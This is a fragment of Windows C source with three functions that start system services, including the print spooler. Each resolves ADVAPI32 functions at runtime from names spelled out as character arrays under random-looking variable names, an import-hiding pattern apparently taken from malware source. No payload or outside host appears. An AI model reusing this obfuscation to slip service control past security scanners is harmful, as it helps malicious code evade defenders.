void StartService1(LPCTSTR lpService) { typedef SC_HANDLE (WINAPI *OpenSCManagerAT) ( __in_opt LPCSTR lpMachineName, __in_opt LPCSTR lpDatabaseName, __in DWORD dwDesiredAccess ); char KIoFqQPSy[] = {'A','D','V','A','P','I','3','2','.','d','l','l','\0'}; OpenSCManagerAT pOpenSCManagerA= (OpenSCManagerAT)GetProcAddress(LoadLibrary(KIoFqQPSy),"OpenSCManagerA"); typedef BOOL (WINAPI *CloseServiceHandleT)( __in SC_HANDLE hSCObject ); CloseServiceHandleT pCloseServiceHandle=(CloseServiceHandleT)GetProcAddress(LoadLibrary(KIoFqQPSy),"CloseServiceHandle"); typedef SC_HANDLE (WINAPI *OpenServiceAT)( __in SC_HANDLE hSCManager, __in LPCSTR lpServiceName, __in DWORD dwDesiredAccess ); OpenServiceAT pOpenServiceA=(OpenServiceAT)GetProcAddress(LoadLibrary(KIoFqQPSy),"OpenServiceA"); typedef BOOL (WINAPI *StartServiceAT)( __in SC_HANDLE hService, __in DWORD dwNumServiceArgs, __in_ecount_opt(dwNumServiceArgs) LPCSTR *lpServiceArgVectors ); StartServiceAT pStartServiceA=(StartServiceAT)GetProcAddress(LoadLibrary(KIoFqQPSy),"StartServiceA"); SC_HANDLE hSCManager = pOpenSCManagerA( NULL, NULL,SC_MANAGER_CREATE_SERVICE ); if ( NULL != hSCManager ) { SC_HANDLE hService = pOpenServiceA(hSCManager, lpService, DELETE | SERVICE_START); if ( NULL != hService ) { pStartServiceA(hService, 0, NULL); pCloseServiceHandle( hService ); } pCloseServiceHandle( hSCManager ); } }
BOOL SpoolerStart() { BOOL bRet = FALSE; SC_HANDLE hMngr = (SC_HANDLE)pOpenSCManagerA(NULL,NULL,SC_MANAGER_CONNECT); if (hMngr) { SC_HANDLE hServ = (SC_HANDLE)pOpenServiceA(hMngr,"spooler",SERVICE_QUERY_STATUS|SERVICE_START); if (hServ) { if (pStartServiceA(hServ,0,NULL)) { for (int i = 0; i < 3; i++) { DWORD dwNeed; SERVICE_STATUS_PROCESS ServStatus = {0}; if (!pQueryServiceStatusEx(hServ,SC_STATUS_PROCESS_INFO,(LPBYTE)&ServStatus,sizeof(ServStatus),&dwNeed)) break; if (ServStatus.dwCurrentState == SERVICE_RUNNING) { bRet = TRUE; break; } pSleep(2000); } } pCloseServiceHandle(hServ); } pCloseServiceHandle(hMngr); } return bRet; }
void StartService(LPCTSTR lpService) { char CtxPW61[] = {'O','p','e','n','S','C','M','a','n','a','g','e','r','A','\0'}; OpenSCManagerAT pOpenSCManagerA=(OpenSCManagerAT)GetProcAddress(LoadLibrary("ADVAPI32.dll"),CtxPW61); SC_HANDLE hSCManager = pOpenSCManagerA( NULL, NULL,SC_MANAGER_CREATE_SERVICE ); char HrFvD09[] = {'S','t','a','r','t','S','e','r','v','i','c','e','A','\0'}; StartServiceAT pStartServiceA=(StartServiceAT)GetProcAddress(LoadLibrary("ADVAPI32.dll"),HrFvD09); char HrFvD10[] = {'C','l','o','s','e','S','e','r','v','i','c','e','H','a','n','d','l','e','\0'}; CloseServiceHandleT pCloseServiceHandle=(CloseServiceHandleT)GetProcAddress(LoadLibrary("ADVAPI32.dll"),HrFvD10); char HrFvD11[] = {'O','p','e','n','S','e','r','v','i','c','e','A','\0'}; OpenServiceAT pOpenServiceA=(OpenServiceAT)GetProcAddress(LoadLibrary("ADVAPI32.dll"),HrFvD11); if ( NULL != hSCManager ) { SC_HANDLE hService = pOpenServiceA(hSCManager, lpService, DELETE | SERVICE_START); if ( NULL != hService ) { pStartServiceA(hService, 0, NULL); pCloseServiceHandle( hService ); } pCloseServiceHandle( hSCManager ); } }